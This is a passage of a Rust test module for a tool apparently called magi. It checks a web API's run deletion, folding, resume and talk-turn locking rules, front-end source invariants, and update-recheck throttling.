22025            "instruction".to_owned(),
22026            Config::default(),
22027        );
22028        state.id = run_id.to_owned();
22029        state.status = RunStatus::Merged;
22030        state.candidates.push(crate::run::Candidate {
22031            index: 0,
22032            label: 'A',
22033            agent: "a".to_owned(),
22034            branch: "b".to_owned(),
22035            worktree: PathBuf::from("/w"),
22036            summary: String::new(),
22037            stat: String::new(),
22038            files: 1,
22039            commits: 1,
22040            empty: false,
22041            failed: None,
22042            verified_noop: None,
22043            duration_ms: 0,
22044            folded: true,
22045        });
22046        let dir = runs.join(run_id);
22047        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22048        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22049            .expect("write artifact");
22050        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22051            .expect("write run.json");
22052
22053        // Delete by short id
22054        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22055        assert_eq!(res.status, 204);
22056        assert!(res.body.is_empty(), "204 has no body");
22057        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22058
22059        // 2. A run a live daemon is working on is refused with 409. The
22060        // heartbeat is what makes it refusable: an unfinished run with no
22061        // daemon behind it is a leftover from a killed process, and case 1
22062        // above would otherwise be impossible to tell apart from this one.
22063        let run_running = "20260901-000000-rung";
22064        write_run(&runs, run_running, RunStatus::Prep);
22065        let mut beat = crate::daemon::Status::new();
22066        beat.current = vec![crate::daemon::Current {
22067            worker: None,
22068            task: "20260901-000000-task".to_owned(),
22069            run: run_running.to_owned(),
22070        }];
22071        beat.updated_at = jiff::Timestamp::now();
22072        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22073            .expect("publish a heartbeat");
22074        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22075        assert_eq!(res.status, 409);
22076        assert!(
22077            res.json()["error"]
22078                .as_str()
22079                .unwrap()
22080                .contains("live daemon"),
22081            "the refusal must say who is holding it"
22082        );
22083        assert!(
22084            runs.join(run_running).exists(),
22085            "a run in flight keeps its directory"
22086        );
22087
22088        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22089        let run_unfolded = "20260901-000000-unfd";
22090        let mut state2 = RunState::new(
22091            PathBuf::from("/repo"),
22092            "main".to_owned(),
22093            "abc".to_owned(),
22094            "instruction".to_owned(),
22095            Config::default(),
22096        );
22097        state2.id = run_unfolded.to_owned();
22098        state2.status = RunStatus::Ready;
22099        state2.candidates.push(crate::run::Candidate {
22100            index: 0,
22101            label: 'A',
22102            agent: "a".to_owned(),
22103            branch: "b".to_owned(),
22104            worktree: PathBuf::from("/w"),
22105            summary: String::new(),
22106            stat: String::new(),
22107            files: 1,
22108            commits: 1,
22109            empty: false,
22110            failed: None,
22111            verified_noop: None,
22112            duration_ms: 0,
22113            folded: false,
22114        });
22115        let dir2 = runs.join(run_unfolded);
22116        std::fs::create_dir_all(&dir2).expect("create dir2");
22117        std::fs::write(
22118            dir2.join("run.json"),
22119            serde_json::to_string(&state2).unwrap(),
22120        )
22121        .expect("write run.json");
22122
22123        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22124        assert_eq!(res.status, 409);
22125        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22126        assert!(dir2.exists(), "unfolded run directory is kept");
22127
22128        // 4. Missing id returns 404
22129        let res = fx.delete("/api/runs/nonexistent").await;
22130        assert_eq!(res.status, 404);
22131    }
22132
22133    /// The queue tiles on the Stats tab must render even on a home with no
22134    /// runs at all: queue state is not derived from run history, so hiding
22135    /// the whole dashboard body behind "no runs yet" would drop the one
22136    /// thing this tab promises unconditionally (queued/running/held/done).
22137    /// A DOM-level test would need a browser this suite does not have, so
22138    /// this pins the same invariant textually: `renderStatsQueue` is called
22139    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22140    /// block that gates the run-derived panels.
22141    #[test]
22142    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22143        let start = APP_JS
22144            .find("function renderStats() {")
22145            .expect("renderStats");
22146        let end = start
22147            + APP_JS[start..]
22148                .find("function statsTile(")
22149                .expect("the next top-level function");
22150        let body = &APP_JS[start..end];
22151
22152        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22153        let gate_end = gate_start
22154            + body[gate_start..]
22155                .find("}\n  renderStatsQueue")
22156                .expect("the gate's own closing brace, right before the unconditional call");
22157        let gated = &body[gate_start..gate_end];
22158
22159        assert_eq!(
22160            body.matches("renderStatsQueue(").count(),
22161            1,
22162            "renderStats must call renderStatsQueue exactly once: {body}"
22163        );
22164        assert!(
22165            !gated.contains("renderStatsQueue"),
22166            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22167             run-derived panels on an empty run history - the queue panel has to render \
22168             regardless: {gated}"
22169        );
22170    }
22171
22172    #[test]
22173    fn web_ui_delete_contract_in_front_end() {
22174        // 1. API block has both delete endpoints
22175        assert!(APP_JS.contains("deleteRun:"));
22176        assert!(APP_JS.contains("deleteTask:"));
22177
22178        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22179        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22180            ..APP_JS.find("function renderRuns").unwrap()];
22181        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22182
22183        // 3. Run detail has delete entry and reasons
22184        assert!(APP_JS.contains("renderRunDelete"));
22185        assert!(APP_JS.contains("runDeleteReason"));
22186        assert!(APP_JS.contains("magi fold"));
22187        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22188
22189        // 4. Two-step delete arming and focus on Cancel
22190        assert!(APP_JS.contains("cancel.focus"));
22191        assert!(APP_JS.contains("armedRunDelete"));
22192        assert!(APP_JS.contains("renderTaskDeleteBox"));
22193        assert!(APP_JS.contains("armed${cap(key)}"));
22194
22195        // 5. Running task has disabled delete
22196        assert!(APP_JS.contains("disabled: status === \"running\""));
22197    }
22198
22199    /// Every element a run card's updater reaches for must be in the `refs`
22200    /// the builder handed it.
22201    ///
22202    /// `createRunCard` builds its elements, appends them to the card, and then
22203    /// lists them again in `row.refs`. That second list is the one the updater
22204    /// uses, and nothing connects the two - an element can be built, appended
22205    /// and rendered, and still be missing from `refs`. `superseded` was, for
22206    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22207    /// exception took `syncList` with it, and the deck showed
22208    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22209    /// line is computed before the cards, which is why the failure looked like
22210    /// a server that had lost its runs rather than a front end that had
22211    /// stopped rendering them.
22212    ///
22213    /// A `cargo test` cannot execute the front end, so this reads the two
22214    /// halves out of the source and compares them as sets. It is not a check
22215    /// on the wording of either list: adding an element, renaming one, or
22216    /// reordering them all keeps this passing, and only using one the builder
22217    /// never published fails it.
22218    #[test]
22219    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22220        let build = APP_JS
22221            .find("function createRunCard")
22222            .expect("createRunCard exists");
22223        let update = APP_JS
22224            .find("function updateRunCard")
22225            .expect("updateRunCard exists");
22226        let end = APP_JS
22227            .find("function renderRuns")
22228            .expect("renderRuns exists");
22229
22230        // The builder's published set: the object literal assigned to `refs`.
22231        let builder = &APP_JS[build..update];
22232        let open = builder.find("refs = {").expect("createRunCard sets refs");
22233        let literal = &builder[open + "refs = {".len()..];
22234        let close = literal.find('}').expect("the refs literal is closed");
22235        let published: HashSet<&str> = literal[..close]
22236            .split(',')
22237            // `name` and `name: value` both bind `name`.
22238            .filter_map(|entry| entry.split(':').next())
22239            .map(str::trim)
22240            .filter(|name| !name.is_empty())
22241            .collect();
22242        assert!(
22243            published.len() > 5,
22244            "the refs literal did not parse into names: {published:?}"
22245        );
22246
22247        // What the updaters reach for: every `r.<name>`, where `r` is the
22248        // `const r = row.refs` alias both functions open with.
22249        let mut used: Vec<&str> = Vec::new();
22250        let updaters = &APP_JS[update..end];
22251        for (at, _) in updaters.match_indices("r.") {
22252            // `r` must be the whole identifier, not the tail of another one
22253            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22254            let before = updaters[..at].chars().next_back();
22255            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22256                continue;
22257            }
22258            let rest = &updaters[at + 2..];
22259            let len = rest
22260                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22261                .unwrap_or(rest.len());
22262            if len > 0 {
22263                used.push(&rest[..len]);
22264            }
22265        }
22266        assert!(
22267            used.len() > 5,
22268            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22269        );
22270
22271        let missing: Vec<&str> = used
22272            .iter()
22273            .copied()
22274            .filter(|name| !published.contains(name))
22275            .collect();
22276        assert!(
22277            missing.is_empty(),
22278            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22279             never put in `refs` - every card will throw and the list will \
22280             render empty under a count line that says otherwise. Published: \
22281             {published:?}"
22282        );
22283    }
22284
22285    #[tokio::test]
22286    async fn folding_from_the_phone_reports_what_it_removed() {
22287        let fx = Fixture::start().await;
22288        let runs = fx.runs();
22289
22290        // A run with no candidates has nothing to fold, which is a 200 with an
22291        // honest count rather than an error: the operator asked for the trees
22292        // to be gone and they are.
22293        let id = "20260901-000000-fold";
22294        write_run(&runs, id, RunStatus::Stalled);
22295        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22296        assert_eq!(res.status, 200);
22297        assert_eq!(res.json()["removed_count"], 0);
22298        assert_eq!(res.json()["run"], id);
22299        assert!(
22300            runs.join(id).exists(),
22301            "a fold keeps the run's record; only the worktrees go"
22302        );
22303    }
22304
22305    #[tokio::test]
22306    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22307        let fx = Fixture::start().await;
22308        let runs = fx.runs();
22309        let wt = fx.home.path().join("wt").join("magi").join("dead");
22310        let id = "20260901-000000-dead";
22311        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22312        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22313        std::fs::create_dir_all(&wt).expect("worktree dir");
22314
22315        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22316        assert_eq!(res.status, 200, "{}", res.body);
22317        assert!(
22318            res.json()["removed_count"].as_u64().unwrap() > 0,
22319            "the worktree this build could not read a state for still went"
22320        );
22321        assert!(
22322            !runs.join(id).exists(),
22323            "an unreadable run has no candidate list to fold selectively, so \
22324             the whole record goes - same as `magi fold` on the CLI"
22325        );
22326    }
22327
22328    #[tokio::test]
22329    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22330        let fx = Fixture::start().await;
22331        let runs = fx.runs();
22332        let wt = fx.home.path().join("wt").join("magi").join("gone");
22333        let id = "20260901-000000-gone";
22334        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22335        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22336        std::fs::create_dir_all(&wt).expect("worktree dir");
22337
22338        let res = fx.delete(&format!("/api/runs/{id}")).await;
22339        assert_eq!(res.status, 204, "{}", res.body);
22340        assert!(!runs.join(id).exists(), "the broken record is gone");
22341        assert!(!wt.exists(), "its worktree is gone too");
22342    }
22343
22344    #[tokio::test]
22345    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22346        let fx = Fixture::start().await;
22347        let runs = fx.runs();
22348        let id = "20260901-000000-live";
22349        write_run(&runs, id, RunStatus::Implementing);
22350
22351        let mut beat = crate::daemon::Status::new();
22352        beat.current = vec![crate::daemon::Current {
22353            worker: None,
22354            task: "20260901-000000-task".to_owned(),
22355            run: id.to_owned(),
22356        }];
22357        beat.updated_at = jiff::Timestamp::now();
22358        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22359            .expect("publish a heartbeat");
22360
22361        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22362        assert_eq!(res.status, 409);
22363        assert!(
22364            res.json()["error"]
22365                .as_str()
22366                .unwrap()
22367                .contains("live daemon"),
22368            "folding under a running agent would pull its worktree away"
22369        );
22370    }
22371
22372    #[tokio::test]
22373    async fn fold_merged_requires_a_pr_url() {
22374        let fx = Fixture::start().await;
22375        let runs = fx.runs();
22376        let id = "20260901-000000-nourl";
22377        write_run(&runs, id, RunStatus::Blocked);
22378
22379        let res = fx
22380            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22381            .await;
22382        assert_eq!(res.status, 400, "{}", res.body);
22383
22384        let blank = fx
22385            .post(
22386                &format!("/api/runs/{id}/fold-merged"),
22387                Some(r#"{"pr_url":"   "}"#),
22388            )
22389            .await;
22390        assert_eq!(blank.status, 400, "{}", blank.body);
22391    }
22392
22393    #[tokio::test]
22394    async fn fold_merged_is_404_for_an_unknown_run() {
22395        let fx = Fixture::start().await;
22396        let res = fx
22397            .post(
22398                "/api/runs/nosuchrun/fold-merged",
22399                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22400            )
22401            .await;
22402        assert_eq!(res.status, 404, "{}", res.body);
22403    }
22404
22405    #[tokio::test]
22406    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22407        let fx = Fixture::start().await;
22408        let runs = fx.runs();
22409        let id = "20260901-000000-livemerge";
22410        write_run(&runs, id, RunStatus::Blocked);
22411
22412        let mut beat = crate::daemon::Status::new();
22413        beat.current = vec![crate::daemon::Current {
22414            worker: None,
22415            task: "20260901-000000-task".to_owned(),
22416            run: id.to_owned(),
22417        }];
22418        beat.updated_at = jiff::Timestamp::now();
22419        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22420            .expect("publish a heartbeat");
22421
22422        let res = fx
22423            .post(
22424                &format!("/api/runs/{id}/fold-merged"),
22425                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22426            )
22427            .await;
22428        assert_eq!(res.status, 409, "{}", res.body);
22429        assert!(
22430            res.json()["error"]
22431                .as_str()
22432                .unwrap()
22433                .contains("live daemon"),
22434            "correcting a run's merge underneath a running agent would race \
22435             whatever it is doing to the same `status`/`merge` fields"
22436        );
22437    }
22438
22439    /// A pull request `gh` cannot even ask about (no such remote, no such
22440    /// repository) must never be recorded as a merge on a guess - the same
22441    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22442    /// command line, reached here through the phone route instead.
22443    #[tokio::test]
22444    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22445        let fx = Fixture::start().await;
22446        let runs = fx.runs();
22447        let id = "20260901-000000-unconfirmed";
22448        write_run(&runs, id, RunStatus::Blocked);
22449
22450        let res = fx
22451            .post(
22452                &format!("/api/runs/{id}/fold-merged"),
22453                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22454            )
22455            .await;
22456        assert_eq!(res.status, 400, "{}", res.body);
22457        assert_eq!(
22458            read_run(&runs, id).unwrap().status,
22459            RunStatus::Blocked,
22460            "a pull request that could not be confirmed merged must leave \
22461             the run exactly where it was"
22462        );
22463    }
22464
22465    #[tokio::test]
22466    async fn terminal_runs_cannot_be_resumed() {
22467        let fx = Fixture::start().await;
22468        let runs = fx.runs();
22469
22470        for (status, word) in [
22471            (RunStatus::Merged, "merged"),
22472            (RunStatus::Ready, "ready"),
22473            (RunStatus::Failed, "failed"),
22474        ] {
22475            let id = format!("20260901-000000-{}", &word[..4]);
22476            write_run(&runs, &id, status);
22477            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22478            assert_eq!(res.status, 409, "{word} must not be resumable");
22479        }
22480    }
22481
22482    #[tokio::test]
22483    async fn resume_is_refused_while_the_loop_is_running() {
22484        let fx = Fixture::start().await;
22485        let runs = fx.runs();
22486        let stalled = "20260901-000000-stal";
22487        write_run(&runs, stalled, RunStatus::Stalled);
22488
22489        // The loop is busy with a *different* run, and that is still a
22490        // refusal: a manual resume must never race whatever the loop itself
22491        // is already driving, whether that is one run or several.
22492        let mut beat = crate::daemon::Status::new();
22493        beat.current = vec![crate::daemon::Current {
22494            worker: None,
22495            task: "20260901-000000-task".to_owned(),
22496            run: "20260901-000000-othr".to_owned(),
22497        }];
22498        beat.updated_at = jiff::Timestamp::now();
22499        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22500            .expect("publish a heartbeat");
22501
22502        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22503        assert_eq!(res.status, 409);
22504        let err = res.json()["error"].as_str().unwrap().to_owned();
22505        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22506        assert!(err.contains("stop it first"), "{err}");
22507    }
22508
22509    #[test]
22510    fn a_run_cannot_be_resumed_twice_at_once() {
22511        let home = TempDir::new().expect("temp home");
22512        let ui = Ui::new(
22513            Queue::at(home.path().join("queue")),
22514            Questions::at(home.path().join("questions")),
22515            Talks::at(home.path().join("talks")),
22516            home.path().join("runs"),
22517            home.path().to_path_buf(),
22518            PathBuf::from("/repo"),
22519        )
22520        .with_worktrees_root(home.path().join("wt"));
22521        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22522        let again = ui.begin_resume("20260901-000000-once");
22523        assert!(again.is_err(), "a second tap must not start a second graph");
22524        drop(first);
22525        assert!(
22526            ui.begin_resume("20260901-000000-once").is_ok(),
22527            "and the claim is released when the attempt ends"
22528        );
22529    }
22530
22531    #[test]
22532    fn talk_thinking_tracks_only_its_held_turn_claim() {
22533        let home = TempDir::new().expect("temp home");
22534        let ui = Ui::new(
22535            Queue::at(home.path().join("queue")),
22536            Questions::at(home.path().join("questions")),
22537            Talks::at(home.path().join("talks")),
22538            home.path().join("runs"),
22539            home.path().to_path_buf(),
22540            PathBuf::from("/repo"),
22541        )
22542        .with_worktrees_root(home.path().join("wt"));
22543        let id = "20260901-000000-once";
22544
22545        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22546        let turn = ui.begin_talk_turn(id).expect("claim turn");
22547        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22548        assert!(
22549            !ui.is_thinking("20260901-000000-other"),
22550            "one talk's turn does not make another talk busy"
22551        );
22552        drop(turn);
22553        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22554    }
22555
22556    #[test]
22557    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22558        let home = TempDir::new().expect("temp home");
22559        let talks = Talks::at(home.path().join("talks"));
22560        let ui = Ui::new(
22561            Queue::at(home.path().join("queue")),
22562            Questions::at(home.path().join("questions")),
22563            talks.clone(),
22564            home.path().join("runs"),
22565            home.path().to_path_buf(),
22566            PathBuf::from("/repo"),
22567        )
22568        .with_worktrees_root(home.path().join("wt"));
22569        let id = "20260901-000000-cross";
22570
22571        let other = Talks::at(home.path().join("talks"))
22572            .claim_turn(id)
22573            .expect("claim")
22574            .expect("the other process wins");
22575        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22576        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22577        assert!(
22578            matches!(
22579                ui.begin_talk_turn_unless_pending(id).expect("start"),
22580                TalkTurnStart::Foreign
22581            ),
22582            "a foreign holder is refused, not queued behind"
22583        );
22584        assert!(
22585            !ui.talk_turns.lock().unwrap().live.contains(id),
22586            "a refused claim leaves no in-process entry behind"
22587        );
22588        drop(other);
22589        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22590        assert!(talks.turn_held(id), "the web turn holds the lease");
22591        drop(turn);
22592        assert!(
22593            !talks.turn_held(id),
22594            "dropping the guard releases the lease"
22595        );
22596    }
22597
22598    fn consult_question(ui: &Ui) -> Question {
22599        let mut q = Question::new(
22600            "20260901-000000-consult".to_owned(),
22601            "implement".to_owned(),
22602            "impl-A".to_owned(),
22603            "Which backend?".to_owned(),
22604            String::new(),
22605            vec!["SQLite".to_owned(), "Redis".to_owned()],
22606        );
22607        ui.questions.put(&mut q).expect("question");
22608        q
22609    }
22610
22611    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22612        (
22613            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22614            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22615        )
22616    }
22617
22618    #[tokio::test]
22619    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22620        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22621        let q = consult_question(&ui);
22622        let talk = ui.talks.get(&id).expect("talk");
22623        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22624        let before = consult_snapshot(&ui, &q, &id);
22625        let cli_talks = Talks::at(ui.home.join("talks"));
22626        assert_eq!(
22627            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22628                .await
22629                .expect("CLI starter"),
22630            crate::consult::Started::Busy
22631        );
22632        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22633        assert!(ui.is_thinking(&id));
22634        drop(guard);
22635        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22636    }
22637
22638    #[tokio::test]
22639    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22640        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22641        let q = consult_question(&ui);
22642        let talk = ui.talks.get(&id).expect("talk");
22643        let started = tmp.path().join("started");
22644        let release = tmp.path().join("release");
22645        let script = tmp.path().join("consult-agent.sh");
22646        std::fs::write(
22647            &script,
22648            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22649        )
22650        .expect("script");
22651        let mut cfg = stub_config();
22652        cfg.agents[0].id = "mock".to_owned();
22653        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22654        cfg.agents[0].env = std::collections::BTreeMap::from([
22655            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22656            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22657        ]);
22658        let questions = ui.questions.clone();
22659        let cli_talks = Talks::at(ui.home.join("talks"));
22660        let cli_q = q.clone();
22661        let turn = tokio::spawn(async move {
22662            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22663        });
22664        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22665            while !started.exists() {
22666                tokio::time::sleep(Duration::from_millis(10)).await;
22667            }
22668        })
22669        .await;
22670        // Always release and join the agent, even if readiness or the web
22671        // request fails, so a failed assertion cannot leave a turn behind.
22672        let refusal = if ready.is_ok() {
22673            let before = consult_snapshot(&ui, &q, &id);
22674            let result = talk_say(
22675                State(Arc::clone(&ui)),
22676                Path(id.clone()),
22677                Ok(Json(NewTalkTurn {
22678                    reply_to: None,
22679                    text: "another message".to_owned(),
22680                    attachments: Vec::new(),
22681                })),
22682            )
22683            .await;
22684            Some((result, before, consult_snapshot(&ui, &q, &id)))
22685        } else {
22686            None
22687        };
22688        std::fs::write(&release, "").expect("release agent");
22689        let done = turn.await.expect("join CLI turn");
22690        ready.expect("agent started before deadline");
22691        let (result, before, after) = refusal.expect("web request");
22692        let error = result.expect_err("web must refuse the CLI's turn");
22693        assert_eq!(error.status, StatusCode::CONFLICT);
22694        assert!(error.message.contains("a turn is already running"));
22695        assert_eq!(
22696            after, before,
22697            "refusal preserves question, draft and history"
22698        );
22699        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22700        let guard = ui
22701            .begin_talk_turn(&id)
22702            .expect("web claim")
22703            .expect("free again");
22704        drop(guard);
22705    }
22706
22707    #[test]
22708    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22709        let home = TempDir::new().expect("temp home");
22710        let talks = Talks::at(home.path().join("talks"));
22711        let ui = Ui::new(
22712            Queue::at(home.path().join("queue")),
22713            Questions::at(home.path().join("questions")),
22714            talks.clone(),
22715            home.path().join("runs"),
22716            home.path().to_path_buf(),
22717            PathBuf::from("/repo"),
22718        )
22719        .with_worktrees_root(home.path().join("wt"));
22720        let id = "20260901-000000-order";
22721        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22722        // Hold the slot mutex so the drop can finish the lease but not the slot.
22723        let slots = ui.talk_turns.lock().unwrap();
22724        let dropper = std::thread::spawn(move || drop(turn));
22725        let start = std::time::Instant::now();
22726        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22727            std::thread::sleep(Duration::from_millis(5));
22728        }
22729        assert!(!talks.turn_held(id), "the lease is released first");
22730        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22731        drop(slots);
22732        dropper.join().expect("join");
22733        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22734    }
22735
22736    #[tokio::test]
22737    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22738        let fx = Fixture::start().await;
22739        let mut beat = crate::daemon::Status::new();
22740        beat.worker_protocol = None;
22741        beat.pid = 4321;
22742        beat.updated_at = jiff::Timestamp::now();
22743        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22744            .expect("publish a heartbeat");
22745
22746        let res = fx.post("/api/upgrade", None).await;
22747        assert_eq!(res.status, 409);
22748    }
22749
22750    /// [`should_spawn_recheck`] must refuse for the same two reasons
22751    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22752    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22753    /// Purely a predicate over config and the environment - no network, no
22754    /// disk, no runtime - so unlike the fixture-based tests around it this
22755    /// one needs neither.
22756    #[test]
22757    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22758        assert!(!should_spawn_recheck(&crate::config::Update {
22759            mode: UpdateMode::Off,
22760            interval: None,
22761            auto_restart: false,
22762        }));
22763
22764        // SAFETY: single-threaded as far as this variable goes, the same
22765        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22766        unsafe {
22767            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22768        }
22769        let killed = should_spawn_recheck(&crate::config::Update {
22770            mode: UpdateMode::Notify,
22771            interval: None,
22772            auto_restart: false,
22773        });
22774        unsafe {
22775            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22776        }
22777        assert!(
22778            !killed,
22779            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22780             one-time startup check"
22781        );
22782
22783        assert!(should_spawn_recheck(&crate::config::Update {
22784            mode: UpdateMode::Notify,
22785            interval: None,
22786            auto_restart: false,
22787        }));
22788    }
22789
22790    /// [`recheck_poll_period`] must track a configured `[update] interval`
22791    /// shorter than its own default ceiling - a fixed sleep here would leave
22792    /// an operator's short interval waiting on the next wake-up instead of on
22793    /// `should_check`, which is the same bug this whole task exists to fix,
22794    /// just one level down.
22795    #[test]
22796    fn recheck_poll_period_tracks_a_short_configured_interval() {
22797        let short = crate::config::Update {
22798            mode: UpdateMode::Notify,
22799            interval: Some("1m".to_owned()),
22800            auto_restart: false,
22801        };
22802        let period = recheck_poll_period(&short);
22803        assert!(
22804            period <= Duration::from_secs(30),
22805            "a one-minute interval must wake the task far sooner than the \
22806             default ceiling, or the deck would not notice within the \
22807             interval the operator configured: got {period:?}"
22808        );
22809
22810        let default = crate::config::Update {
22811            mode: UpdateMode::Notify,
22812            interval: None,
22813            auto_restart: false,
22814        };
22815        assert_eq!(
22816            recheck_poll_period(&default),
22817            UPDATE_RECHECK_POLL_MAX,
22818            "the default day-long interval should poll at the (capped) \
22819             ceiling rather than needlessly often"
22820        );
22821    }
22822
22823    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22824    /// same throttle `updater::Checker::should_check` already gives the
22825    /// CLI's notify mode. Built over an explicit state file via
22826    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22827    /// write the operator's real `last_update_check.json` - and therefore
22828    /// cannot flake on whatever that file happens to say on the machine
22829    /// running the test.
22830    #[test]
22831    fn recheck_skips_the_network_before_the_interval_elapses() {
22832        let dir = TempDir::new().expect("temp dir");
22833        let path = dir.path().join("state.json");
22834        let state = kaishin::UpdateCheckState {
22835            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22836            last_known_latest: None,
22837            last_known_url: None,
22838        };
22839        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22840
22841        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22842        assert!(
22843            !update_recheck_due(&checker, None),
22844            "a check made moments ago must not be repeated before the \
22845             configured interval elapses"
22846        );
22847    }
22848
22849    /// An upgrade this deck already started must not be raced by a recheck
22850    /// that discovers a newer release mid-install - regardless of what
22851    /// `should_check` says, which is why the state file here is missing
22852    /// entirely: read alone, that alone would answer "never checked, go
22853    /// ahead".
22854    #[test]
22855    fn recheck_defers_to_an_upgrade_already_in_flight() {
22856        let dir = TempDir::new().expect("temp dir");
22857        let path = dir.path().join("state.json");
22858        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22859        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22860
22861        assert!(
22862            !update_recheck_due(&checker, Some(&progress)),
22863            "a recheck must not run while an upgrade this deck started is \
22864             still moving"
22865        );
22866    }
22867
22868    #[tokio::test]
22869    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22870        // The same env var the background check honours (`disabled_by_env`)
22871        // must also stop a button press before it ever calls
22872        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22873        // means "never contact GitHub from this process", and a tap on the
22874        // upgrade button must not override that any more than a broken
22875        // `magi.toml` may. Left unset, this fixture's default config would
22876        // otherwise reach a real, unauthenticated GitHub call.
22877        //
22878        // SAFETY: single-threaded as far as this variable goes - nothing else
22879        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
